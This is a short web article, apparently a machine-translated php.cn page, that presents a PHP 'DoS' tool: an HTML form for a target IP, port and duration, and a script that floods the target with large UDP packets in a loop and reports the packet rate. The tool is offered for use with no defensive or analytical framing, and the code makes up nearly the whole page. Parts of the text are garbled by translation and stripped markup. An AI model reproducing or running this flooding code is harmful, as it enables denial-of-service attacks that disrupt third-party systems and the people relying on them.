ホームページ  >  記事  >  バックエンド開発  >  php は DOS 攻撃を実装します

php は DOS 攻撃を実装します

WBOY
WBOYオリジナル
2016-07-25 09:08:351266ブラウズ
小段php代码实现DOS攻撃击
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. PHP DoS、EXE でコード化
  4. < ;!-- EXE でコード化された PHP DOS -->



  5. あなたのIP:  (DoS を自分で行わないでください)

  6. IP:
  7.     Time:
  8.     Port:




  9. DoS攻撃を開始した後、ブラウザが読み込まれるまでお待ちください。
  10. < /center>
复制代码
  1. //===================================== ===========
  2. //PHP DOS v1.8 (おそらくより強いフラッド強度)
  3. //EXE でコード化
  4. //================ =================================
  5. $packets = 0;
  6. $ip = $_POST['ip' ];
  7. $rand = $_POST['port'];
  8. set_time_limit(0);
  9. ignore_user_abort(FALSE);
  10. $exec_time = $_POST['time'];
  11. $time = time();
  12. print "フラッディング: $ip ポート $rand
    gt;
    ";
  13. $max_time = $time+$exec_time;
  14. for($i=0;$i<65535;$i++){
  15. $ out .= "X";
  16. }
  17. while(1){
  18. $packets++;
  19. if(time() > $max_time){
  20. Break;
  21. }
  22. $fp = fsockopen("udp://$ip ", $rand, $errno, $errstr, 5);
  23. if($fp){
  24. fwrite($fp, $out);
  25. fclose($fp);
  26. }
  27. }
  28. echo "パケットは " で完了しました。 time('h:i:s')." with $packets (" .round(($packets*65)/1024, 2) . " mB) パケット平均 ". Round($packets/$exec_time, 2) 。 " パケット/秒";
  29. ?>
复制代


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。